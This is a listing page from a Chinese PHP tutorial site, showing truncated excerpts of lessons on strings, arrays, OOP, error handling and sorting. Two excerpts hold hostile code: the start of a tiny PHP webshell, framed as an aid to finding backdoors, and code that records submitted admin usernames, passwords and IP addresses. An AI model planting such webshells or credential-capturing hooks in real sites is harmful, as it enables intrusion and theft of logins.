php技术

php技术

PHP 第一节 php简介

阅读(7) 作者(admin)

PHP是什么:PHP是一种在电脑上运行的脚本语言,她的创始人是拉斯姆斯・勒多夫,最早的两个PHP版本就是由此人开发的;开发PHP语言的初衷比较简单,是为了维护个人网页、统计流量等。在1995年6月8日作者为了加速发展和优化,发布了...

php技术

PHP原生模板引擎 最简单的模板引擎

阅读(10) 作者(admin)

复制代码 代码如下: <?php $a = array( 'a','b','c' ); require 'template/demo.php';//引用模板 ?> 模板文件: 复制代码 代码如下: <!DOCTYPE html> <html lang="zh"> <head> <meta http-equiv="Content-Type&qu...

php技术

PHP 第二节 数据类型之字符串类型

阅读(13) 作者(admin)

PHP中一个字符串可以通过下面的4种方式来定义:单引号 双引号 heredoc 语法结构 nowdoc 语法结构 (自PHP 5.3.0以后) 单引号定义一个字符串 的最简单的方法是用单引号把它包围起来 (标点符号 ')。如果想要输出一个单引...

php技术

PHP 第二节 数据类型之数值型

阅读(23) 作者(admin)

PHP 支持8种基本的数据类型。四种标量类型:boolean (布尔型) integer (整型) float (浮点型, 也称作 double) string (字符串) 两种复合类型:array (数组) object (对象) 最后是两种特殊类型:resource (资源) NULL (NULL) boolean数据...

php技术

PHP 第二节 数据类型之转换

阅读(10) 作者(admin)

在下列情况下一个变量被认为是 NULL:被赋值为 NULL。尚未被赋值。被 unset()。NULL 类型只有一个值,就是大小写不敏感的关键字 NULL(你可以写成NULL,也可以写成null)。将一个变量转换为 null 类型将会删除该变量并且unset...

php技术

PHP 第二节 数据类型之数组

阅读(14) 作者(admin)

PHP 中的 数组 实际上是一个有序映射。映射是一种把 values 关联到 keys 的类型。此类型在很多方面做了优化,因此可以把它当成真正的数组,或列表(向量),散列表(是映射的一种实现),字典,集合,栈,队列以及更多可能性。数组元素的值...

php技术

PHP 基于文件头的文件类型验证类函数

阅读(22) 作者(admin)

我这里写了一个验证类,是通过文件头来判断文件格式.(也不是百分之百安全,如果用户伪造了文件头,也能通过验证) 复制代码 代码如下: <?php /** * 检证文件类型类 * * @author Silver */ class FileTypeValidation { // 文...

php技术

PHP 第三节 变量介绍

阅读(25) 作者(admin)

变量名与 PHP 中其它的标签一样遵循相同的规则。一个有效的变量名由字母或者下划线开头,后面跟上任意数量的字母,数字,或者下划线。按照正常的正则表达式,它将被表述为:'[a-zA-Z_/x7f-/xff][a-zA-Z0-9_/x7f-/xff]*'。

No...

php技术

apache mysql php 源码编译使用方法

阅读(9) 作者(admin)

linux 版本 : ubuntu 12.04 今天完成了 php mysql 和apache 的配置 主要是源码配置, apache 主要是 2.4.2 版本 php 主要是 5.3.11 版本 mysql 主要是 5.1.62 版本

前几天试了好几次,出现了软件的源冲突,我放了两个源在...

php技术

几个有用的php字符串过滤,转换函数代码

阅读(18) 作者(admin)

nl2br();// /n to

addslashes(); stripslashes();//对数据库操作时,转义特殊字符

chop();//除去字符串右边空格 trim();//除去字符串中所有空格 ltrim();//除去字符串左边空格

htmlspecialchars();//转换'$','"'...

php技术

php在线代理转向代码

阅读(16) 作者(admin)

复制代码 代码如下: <?php if ($_REQUEST['url']) { header('Location:http://bcd.allowed.org/0/?url='.base64_encode(strrev($_REQUEST['url']))); } else { echo "<form method='POST' action='proxy.php'> url:...

php技术

超小PHP小马小结(方便查找后门的朋友)

阅读(17) 作者(admin)

作者: spider 我也来个超小PHP小马 复制代码 代码如下: <?php header("content-Type: text/html; charset=gb2312"); if(get_magic_quotes_gpc()) foreach($_POST as $k=>$v) $_POST[$k] = stripslashes($v); ?> <for...

php技术

php截取后台登陆密码的代码

阅读(16) 作者(admin)

if($_POST[loginsubmit]!=){ //判断是否点了登陆按钮 $sb=user:.$_POST[username].--passwd:.$_POST[password].--ip:.$HTTP_SERVER_VARS[REMOTE_ADDR].--.date(Y-m-d H:i:s).rn; // 把POST接收到的值 连起来赋值给变...

PHP file_exists问题杂谈
php技术

PHP file_exists问题杂谈

阅读(10) 作者(admin)

问题

  公司有个框架是基于smarty写的,我负责php的升级,维护人员把新环境布上来之后,测试人员找我提出经常报错(错误:提示找不到文件的)。   我追踪了一下代码,原来是smarty的这个地方报的错误。 错误:这里报出文件不...

php技术

PHP中的错误处理、异常处理机制分析

阅读(26) 作者(admin)

例: 复制代码 代码如下: <?php $a = fopen('test.txt','r'); //这里并没有对文件进行判断就打开了,如果文件不存在就会报错 ?> 那么正确的写法应该如下: 复制代码 代码如下: <?php if(file_exists('test.txt')){ $f=fop...

php技术

PHP面向对象的进阶学习(抽像类、接口、final、类常量)

阅读(19) 作者(admin)

一、抽像类(abstract) 在我们实际开发过程中,有些类并不需要被实例化,如前面学习到的一些父类,主要是让子类来继承,这样可以提高代码复用性 语法结构: 复制代码 代码如下: abstract class 类名{ 属性 $name; 方法(){} //方法...

PHP面向对象三大特点学习(充分理解抽象、封装、继承、多态)
php技术

PHP面向对象三大特点学习(充分理解抽象、封装、继承、多态)

阅读(20) 作者(admin)

面象对向的三大特点:封装性、继承性、多态性 首先简单理解一下抽象:我们在前面定义一个类的时候,实际上就是把一类事物共有的属性和行为提取出来,形成一个物理模型(模版),这种研究问题的方法称为抽象一、封装性 封装就是把抽...

php技术

php错误、异常处理机制(补充)

阅读(28) 作者(admin)

一、错误处理 异常处理: 意外,是在程序运行过程中发生的意料这外的事,使用异常改变脚本正常流程 PHP5中的一个新的重要特性 复制代码 代码如下: if(){ }else{ } try { }catch(异常对象){ } 1. 如果try中代码没有问题,则...

PHP 杂谈《重构-改善既有代码的设计》之五 简化函数调用
php技术

PHP 杂谈《重构-改善既有代码的设计》之五 简化函数调用

阅读(23) 作者(admin)

思维导图

介绍   前几篇系列文章,我比较关注的是<PHP 杂谈《重构-改善既有代码的设计》之一 重新组织你的函数>,但是我觉得我还是没有说清楚,我自己也有很多不理解的地方,而且这篇是我的第一篇这方面的文章,有很多的纰...

php技术

PHP中数组的三种排序方法分享

阅读(18) 作者(admin)

一、冒泡排序法 说明:找到最大的数,排列到最后面,然后继续找

例: 复制代码 代码如下: $arr = array(3,5,-1,0,2); for($i=0;$i<count($arr)-1;$i++){ for($j=0;$j<count($arr)-1-$i;$j++){ if($arr[$j]>$arr[$j+1]){ $t...

php技术

php中常用的预定义变量小结

阅读(18) 作者(admin)

复制代码 代码如下: <?php echo "当前操作系统信息".PHP_OS."<br/>"; echo '本文件路径和文件名为:'.__FILE__.'<br />'; echo "当前PHP版本信息".PHP_VERSION."<br/>"; ?>

常用的php预定义变量! 前面的$_SERVER[PHP...

php技术

web目录下不应该存在多余的程序(安全考虑)

阅读(25) 作者(admin)

虽然都会在这些程序前增加一些判断和限制。但除了库文件,还有临时文件,模板文件等这些文件本来就不应该被人直接通过 web 访问到的。无论从安全性还是代码管理方面,把不能访问的文件存放到web目录下。

为什么会有这样...

php技术

php array的学习笔记

阅读(19) 作者(admin)

技术不精,要有错误,还请指出,我会改正。 复制代码 代码如下: header('Content-Type: text/html; charset=utf-8'); echo '<pre>'; function var_array($array) { echo '<pre>'; var_dump($array); echo '</pre>'; } func...